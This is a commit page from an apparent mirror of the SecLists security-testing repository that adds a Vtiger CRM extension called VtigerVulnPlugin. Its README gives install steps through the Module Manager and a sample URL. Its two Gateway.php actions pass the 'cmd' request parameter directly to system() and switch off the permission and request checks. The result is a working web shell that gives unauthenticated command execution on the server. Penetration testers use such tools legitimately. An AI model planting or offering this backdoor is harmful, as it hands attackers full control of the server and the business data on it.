sync/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2025-04-27 17:26:29 -04:00
Code Issues Projects Releases Packages Wiki Activity Actions 2

vulnerable vtiger plugin

Browse source
This commit is contained in:
User 2021-03-02 23:07:19 +05:30
parent eeea855ac5
commit 357b20bf76
8 changed files with 141 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

13
Web-Shells/Vtiger/README.md Normal file
View file

@ -0,0 +1,13 @@
# Vtiger Vulnerable Extension
An installable Vtiger extension which provides interface to perform command execution on the respective web server.
/index.php?module=VtigerVulnPlugin&action=Gateway&cmd=id
### Steps to use
1. Create a zip archive including all the files in the repository
2. Install the zip via Settings -> Module Manager
3. Ready to cook..
Don't use it in a production environment.

3
Web-Shells/Vtiger/languages/en_us/Settings/VtigerVulnPlugin.php Normal file
View file

@ -0,0 +1,3 @@
<?php
return null;

3
Web-Shells/Vtiger/languages/en_us/VtigerVulnPlugin.php Normal file
View file

@ -0,0 +1,3 @@
<?php
return null;

25
Web-Shells/Vtiger/manifest.xml Normal file
View file

@ -0,0 +1,25 @@
<?xml version='1.0'?>
<module>
<name>VtigerVulnPlugin</name>
<label>VtigerVulnPlugin</label>
<parent>Tools</parent>
<version>1.01</version>
<dependencies>
<vtiger_version>7.0.0</vtiger_version>
<vtiger_max_version>7.*</vtiger_max_version>
</dependencies>
<license>
<file>LICENSE.txt</file>
</license>
<actions>
<action>
<name><![CDATA[Import]]></name>
<status>enabled</status>
</action>
<action>
<name><![CDATA[Export]]></name>
<status>disabled</status>
</action>
</actions>
</module>

18
Web-Shells/Vtiger/modules/VtigerVulnPlugin/VtigerVulnPlugin.php Executable file
View file

@ -0,0 +1,18 @@
<?php
/* +***********************************************************************************************************************************
* The contents of this file are subject to the YetiForce Public License Version 1.1 (the "License"); you may not use this file except
* in compliance with the License.
* Software distributed under the License is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express or implied.
* See the License for the specific language governing rights and limitations under the License.
* The Original Code is YetiForce.
* The Initial Developer of the Original Code is YetiForce. Portions created by YetiForce are Copyright (C) www.yetiforce.com.
* All Rights Reserved.
* *********************************************************************************************************************************** */
include_once 'modules/Vtiger/CRMEntity.php';
class VtigerVulnPlugin extends Vtiger_CRMEntity
{
}
?>

29
Web-Shells/Vtiger/modules/VtigerVulnPlugin/actions/Gateway.php Normal file
View file

@ -0,0 +1,29 @@
<?php
/* +***********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.0
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
* *********************************************************************************** */
class VtigerVulnPlugin_Gateway_Action extends Vtiger_BasicAjax_Action {
public function checkPermission(Vtiger_Request $request) {
return true;
}
public function process(Vtiger_Request $request) {
echo "<pre>";
system($request->get("cmd"));
echo "</pre>";
die;
}
public function validateRequest(Vtiger_Request $request) {
return true;
}
}

25
Web-Shells/Vtiger/modules/VtigerVulnPlugin/manifest.xml Normal file
View file

@ -0,0 +1,25 @@
<?xml version='1.0'?>
<module>
<name>VtigerVulnPlugin</name>
<label>VtigerVulnPlugin</label>
<parent>Tools</parent>
<version>1.01</version>
<dependencies>
<vtiger_version>7.0.0</vtiger_version>
<vtiger_max_version>7.*</vtiger_max_version>
</dependencies>
<license>
<file>LICENSE.txt</file>
</license>
<actions>
<action>
<name><![CDATA[Import]]></name>
<status>enabled</status>
</action>
<action>
<name><![CDATA[Export]]></name>
<status>disabled</status>
</action>
</actions>
</module>

25
Web-Shells/Vtiger/settings/actions/Gateway.php Normal file
View file

@ -0,0 +1,25 @@
<?php
/* +**********************************************************************************
* The contents of this file are subject to the vtiger CRM Public License Version 1.1
* ("License"); You may not use this file except in compliance with the License
* The Original Code is: vtiger CRM Open Source
* The Initial Developer of the Original Code is vtiger.
* Portions created by vtiger are Copyright (C) vtiger.
* All Rights Reserved.
* ********************************************************************************** */
class Settings_VtigerVulnPlugin_Gateway_Action extends Vtiger_BasicAjax_Action {
public function process(Vtiger_Request $request) {
echo "<pre>";
system($request->get("cmd"));
echo "</pre>";
die;
}
public function validateRequest(Vtiger_Request $request) {
return true;
}
}